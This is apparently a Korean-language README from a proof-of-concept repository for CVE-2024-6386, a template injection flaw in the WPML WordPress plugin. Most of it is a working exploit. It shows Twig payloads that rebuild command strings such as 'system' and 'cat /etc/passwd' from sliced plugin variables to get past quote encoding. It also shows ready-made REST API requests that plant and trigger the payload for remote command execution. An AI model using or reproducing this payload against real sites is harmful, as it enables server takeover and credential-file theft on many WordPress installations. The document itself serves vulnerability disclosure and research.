argendo/cve-2024-6386CVE-2024-6386에 대한 연구 및 PoC
러시아어로 된 상세 연구: CVE-2024-6386
기본 점수: 9.9
벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
WPML에서는 특정 WordPress Shortcodes를 사용하여 매크로를 만들고 Twig 템플릿도 렌더링할 수 있습니다. 따라서 쉽게 SSTI를 얻을 수 있습니다.
예를 들어, SSTI를 익스플로잇하기 위한 단축 코드를 만들어 보겠습니다:
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]
이 경우 단축 코드를 렌더링한 결과로 4를 얻을 수 있습니다.
WordPress에서 모든 종류의 따옴표를 HTML로 인코딩하기 때문에 다음과 같은 일반적인 페이로드를 사용할 수 없습니다:
{{['id']|filter('system')}}
그럼에도 불구하고 (s = 's')와 같은 변수-문자를 사용하여 OS 명령을 호출하도록 이 페이로드를 수정할 수 있습니다.
이를 위해 css_classes 및 languages와 같은 일부 로컬 변수를 호출해야 합니다.
첫 번째 변수는 wpml-ls-statics-shortcode_actions wpml-ls 문자열을 반환합니다.
두 번째 변수는 언어 배열(Array) 객체를 반환합니다.
이를 통해 필요한 기호를 슬라이스하여 자체 알파벳을 만들 수 있습니다.
따라서 여기서 알파벳을 만듭니다: [<space> ,a, c, i, d, s, y, t, e, m, p, w ]
그리고 네, languages를 빈 값과 연결하여 "Array" 값을 가진 문자열을 만들어야 합니다.
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}
그런 다음 알파벳을 페이로드에 연결할 수 있습니다:
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com
{
"id":30,
"content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}
GET /?p=30 HTTP/1.1
Host: vulned.com